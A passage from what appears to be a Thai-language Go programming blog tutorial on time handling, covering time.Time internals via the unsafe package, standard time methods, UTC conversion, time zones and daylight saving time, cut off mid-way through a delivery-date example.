&#xE44;&#xE21;&#xE48;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;</blockquote><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE2B;&#xE32;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; time.Time &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE07;&#xE04;&#xE4C;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Package &quot;<strong>unsafe</strong>&quot; </p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;time&quot;
    &quot;unsafe&quot;
)

func main() {
    t := time.Now()

    // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; struct &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; time.Time
    type internalTime struct {
        wall uint64
        ext  int64
        loc  *time.Location
    }

    // &#xE43;&#xE0A;&#xE49; unsafe.Pointer &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;
    internalT := (*internalTime)(unsafe.Pointer(&amp;t))

    fmt.Printf(&quot;wall: %d\n&quot;, internalT.wall)
    fmt.Printf(&quot;ext: %d\n&quot;, internalT.ext)
    fmt.Printf(&quot;loc: %v\n&quot;, internalT.loc)
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-10.13.19-AM.png" class="kg-image" alt loading="lazy" width="1522" height="134" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-07-at-10.13.19-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-07-at-10.13.19-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-10.13.19-AM.png 1522w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; time.Time &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49; Method &#xE17;&#xE35;&#xE48; Go &#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE44;&#xE27;&#xE49;&#xE43;&#xE2B;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>t := time.Now()
fmt.Println(t)
fmt.Println(&quot;Year:&quot;, t.Year())
fmt.Println(&quot;Month:&quot;, t.Month())
fmt.Println(&quot;Day:&quot;, t.Day())
fmt.Println(&quot;Hour:&quot;, t.Hour())
fmt.Println(&quot;Minute:&quot;, t.Minute())
fmt.Println(&quot;Second:&quot;, t.Second())
fmt.Println(&quot;Nanosecond:&quot;, t.Nanosecond())
fmt.Println(&quot;Location:&quot;, t.Location())

// zoneOffset &#xE04;&#xE37;&#xE2D; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1A;&#xE27;&#xE01;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; UTC &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE14;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19; Zone &#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE46;
zoneName, zoneOffset := t.Zone()
fmt.Printf(&quot;Zone: %s, Offset: %d\n&quot;, zoneName, zoneOffset)

// Unix timestamp &#xE04;&#xE37;&#xE2D;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE19;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48; Unix Epoch (1 &#xE21;&#xE01;&#xE23;&#xE32;&#xE04;&#xE21; 1970 00:00:00 UTC)
fmt.Println(&quot;Unix timestamp:&quot;, t.Unix())
// Unix nano &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE19;&#xE32;&#xE42;&#xE19;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE19;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48; Unix Epoch
fmt.Println(&quot;Unix nano:&quot;, t.UnixNano())</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-10.55.17-AM.png" class="kg-image" alt loading="lazy" width="1484" height="408" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-07-at-10.55.17-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-07-at-10.55.17-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-10.55.17-AM.png 1484w" sizes="(min-width: 720px) 720px"></figure><p>time.Now() &#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE27;&#xE25;&#xE32;&#xE15;&#xE32;&#xE21; Timezone &#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; <strong>&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19;&#xE01;&#xE31;&#xE1A; Timezone</strong> &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE21;&#xE31;&#xE14;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE2B;&#xE15;&#xE38;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22; Timezone &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE08;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE4B;&#xE27;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE1A;&#xE34;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE17;&#xE28; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE17;&#xE28;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE32;&#xE2C;&#xE34;&#xE01;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; 1 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE24;&#xE14;&#xE39;&#xE23;&#xE49;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE01;&#xE25;&#xE32;&#xE07;&#xE27;&#xE31;&#xE19;&#xE22;&#xE32;&#xE27;&#xE19;&#xE32;&#xE19; (Daylight Saving Time) &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE1E;&#xE23;&#xE30;&#xE2D;&#xE32;&#xE17;&#xE34;&#xE15;&#xE22;&#xE4C;&#xE15;&#xE01; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE40;&#xE27;&#xE25;&#xE32; 18:00 &#xE19;. &#xE0A;&#xE48;&#xE27;&#xE07; DST &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE32;&#xE2C;&#xE34;&#xE01;&#xE32;&#xE40;&#xE23;&#xE47;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; 1 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07; &#xE1E;&#xE23;&#xE30;&#xE2D;&#xE32;&#xE17;&#xE34;&#xE15;&#xE22;&#xE4C;&#xE08;&#xE30;&#xE15;&#xE01;&#xE40;&#xE27;&#xE25;&#xE32; 19:00 &#xE19;. &#xE15;&#xE32;&#xE21;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE24;&#xE14;&#xE39;&#xE2B;&#xE19;&#xE32;&#xE27; &#xE17;&#xE35;&#xE48;&#xE01;&#xE25;&#xE32;&#xE07;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE31;&#xE49;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32; </p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE04;&#xE19;&#xE21;&#xE35;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE33;&#xE01;&#xE34;&#xE08;&#xE01;&#xE23;&#xE23;&#xE21;&#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE41;&#xE2A;&#xE07;&#xE2A;&#xE27;&#xE48;&#xE32;&#xE07;&#xE18;&#xE23;&#xE23;&#xE21;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE40;&#xE25;&#xE34;&#xE01;&#xE07;&#xE32;&#xE19;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE2B;&#xE22;&#xE31;&#xE14;&#xE1E;&#xE25;&#xE31;&#xE07;&#xE07;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE1F;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE2A;&#xE07;&#xE2A;&#xE27;&#xE48;&#xE32;&#xE07; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE08;&#xE32;&#xE01;&#xE41;&#xE2A;&#xE07;&#xE18;&#xE23;&#xE23;&#xE21;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE15;&#xE47;&#xE21;&#xE17;&#xE35;&#xE48; (&#xE2B;&#xE25;&#xE31;&#xE07;&#xE40;&#xE25;&#xE34;&#xE01;&#xE07;&#xE32;&#xE19;&#xE22;&#xE31;&#xE07;&#xE21;&#xE35;&#xE41;&#xE2A;&#xE07;&#xE2A;&#xE27;&#xE48;&#xE32;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE01;&#xE34;&#xE08;&#xE01;&#xE23;&#xE23;&#xE21;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;) &#xE1B;&#xE23;&#xE30;&#xE40;&#xE17;&#xE28;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; DST &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE2A;&#xE2B;&#xE23;&#xE31;&#xE10;&#xE2D;&#xE40;&#xE21;&#xE23;&#xE34;&#xE01;&#xE32; &#xE41;&#xE04;&#xE19;&#xE32;&#xE14;&#xE32; &#xE41;&#xE25;&#xE30;&#xE2D;&#xE31;&#xE07;&#xE01;&#xE24;&#xE29; &#xE2F;&#xE25;&#xE2F;</p><p><strong>UTC &#xE2B;&#xE23;&#xE37;&#xE2D; Coordinated Universal Time &#xE40;&#xE1B;&#xE47;&#xE19;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2A;&#xE32;&#xE01;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19;&#xE01;&#xE31;&#xE1A; Timezone &#xE43;&#xE14; Timezone &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE15;&#xE32;&#xE21; Daylight Saving Time (DST)</strong> &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; UTC &#xE08;&#xE36;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22; Timezone &#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19; &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Notification &#xE15;&#xE32;&#xE21;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Timezone &#xE02;&#xE2D;&#xE07; User &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; 9:00 &#xE19;. &#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07; User &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; UTC &#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19;&#xE17;&#xE38;&#xE01;&#xE27;&#xE31;&#xE19; &#xE40;&#xE27;&#xE25;&#xE32; 9:00 &#xE19;. &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07; Server &#xE43;&#xE19;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E; User &#xE43;&#xE19;&#xE25;&#xE2D;&#xE19;&#xE14;&#xE2D;&#xE19;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE27;&#xE25;&#xE32; 2:00 &#xE19;. &#xE2B;&#xE23;&#xE37;&#xE2D; 3:00 &#xE19;. &#xE15;&#xE32;&#xE21;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE25;&#xE2D;&#xE19;&#xE14;&#xE2D;&#xE19; &#xE02;&#xE36;&#xE49;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; Daylight Saving Time &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; (UTC+0 &#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE1B;&#xE01;&#xE15;&#xE34; &#xE41;&#xE25;&#xE30; UTC+1 &#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; Daylight Saving Time)</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2025/02/Drone-view-of-the-historic-Royal-Observatory-buildings-during-the-day.-Trees-surround-a-central-group-of-brick-buildings--with-the-distinctive--Onion-Dome--of-the-Great-Equatorial-Telescope-in-the-centre--T3361-002--2.jpg" class="kg-image" alt loading="lazy" width="1440" height="816" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Drone-view-of-the-historic-Royal-Observatory-buildings-during-the-day.-Trees-surround-a-central-group-of-brick-buildings--with-the-distinctive--Onion-Dome--of-the-Great-Equatorial-Telescope-in-the-centre--T3361-002--2.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Drone-view-of-the-historic-Royal-Observatory-buildings-during-the-day.-Trees-surround-a-central-group-of-brick-buildings--with-the-distinctive--Onion-Dome--of-the-Great-Equatorial-Telescope-in-the-centre--T3361-002--2.jpg 1000w, https://blog.pjjop.org/content/images/2025/02/Drone-view-of-the-historic-Royal-Observatory-buildings-during-the-day.-Trees-surround-a-central-group-of-brick-buildings--with-the-distinctive--Onion-Dome--of-the-Great-Equatorial-Telescope-in-the-centre--T3361-002--2.jpg 1440w" sizes="(min-width: 720px) 720px"><figcaption>Royal Observatory, Greenwich (&#xE40;&#xE2A;&#xE49;&#xE19;&#xE25;&#xE2D;&#xE07;&#xE08;&#xE34;&#xE08;&#xE39;&#xE14; 0&#xB0;)</figcaption></figure><p>&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2A;&#xE32;&#xE01;&#xE25; (UTC) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07; Server &#xE43;&#xE19;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E; &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE2D;&#xE19; 15:00 &#xE19;. (&#xE1A;&#xE48;&#xE32;&#xE22; 3 &#xE42;&#xE21;&#xE07;) &#xE02;&#xE2D;&#xE07;&#xE27;&#xE31;&#xE19;&#xE08;&#xE31;&#xE19;&#xE17;&#xE23;&#xE4C; &#xE15;&#xE32;&#xE21;&#xE40;&#xE27;&#xE25;&#xE32; Server &#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE16;&#xE36;&#xE07;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; 3 &#xE27;&#xE31;&#xE19; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE36;&#xE07;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE31;&#xE19;&#xE1E;&#xE24;&#xE2B;&#xE31;&#xE2A;&#xE1A;&#xE14;&#xE35; &#xE40;&#xE27;&#xE25;&#xE32; 15:00 &#xE19;. &#xE41;&#xE15;&#xE48;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE02;&#xE2D;&#xE07;&#xE08;&#xE30;&#xE16;&#xE36;&#xE07;&#xE42;&#xE15;&#xE40;&#xE01;&#xE35;&#xE22;&#xE27; (&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Timezone UTC+9) &#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 17:00 &#xE19;. &#xE1E;&#xE24;&#xE2B;&#xE31;&#xE2A;&#xE1A;&#xE14;&#xE35; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE43;&#xE19;&#xE42;&#xE15;&#xE40;&#xE01;&#xE35;&#xE22;&#xE27;&#xE2D;&#xE32;&#xE08;&#xE04;&#xE34;&#xE14;&#xE27;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE08;&#xE30;&#xE21;&#xE32;&#xE40;&#xE23;&#xE47;&#xE27;&#xE01;&#xE27;&#xE48;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07; 2 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;</p><p>&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07; Server &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2A;&#xE32;&#xE01;&#xE25; UTC &#xE14;&#xE49;&#xE27;&#xE22; Function &quot;UTC&quot;</p><pre><code>t := time.Now()
fmt.Println(t)
utcTime := t.UTC()
fmt.Println(utcTime)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-12.04.34-PM.png" class="kg-image" alt loading="lazy" width="1268" height="66" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-07-at-12.04.34-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-07-at-12.04.34-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-12.04.34-PM.png 1268w" sizes="(min-width: 720px) 720px"></figure><p>&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2A;&#xE32;&#xE01;&#xE25; (UTC) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13;!</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; Order 1 Order &#xE43;&#xE0A;&#xE49;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07; (delivery_days) 3 &#xE27;&#xE31;&#xE19; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; (estimatedDelivery) &#xE08;&#xE32;&#xE01; <strong>&#xE40;&#xE27;&#xE25;&#xE32;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D; </strong>(created_at)<strong> </strong>+<strong> 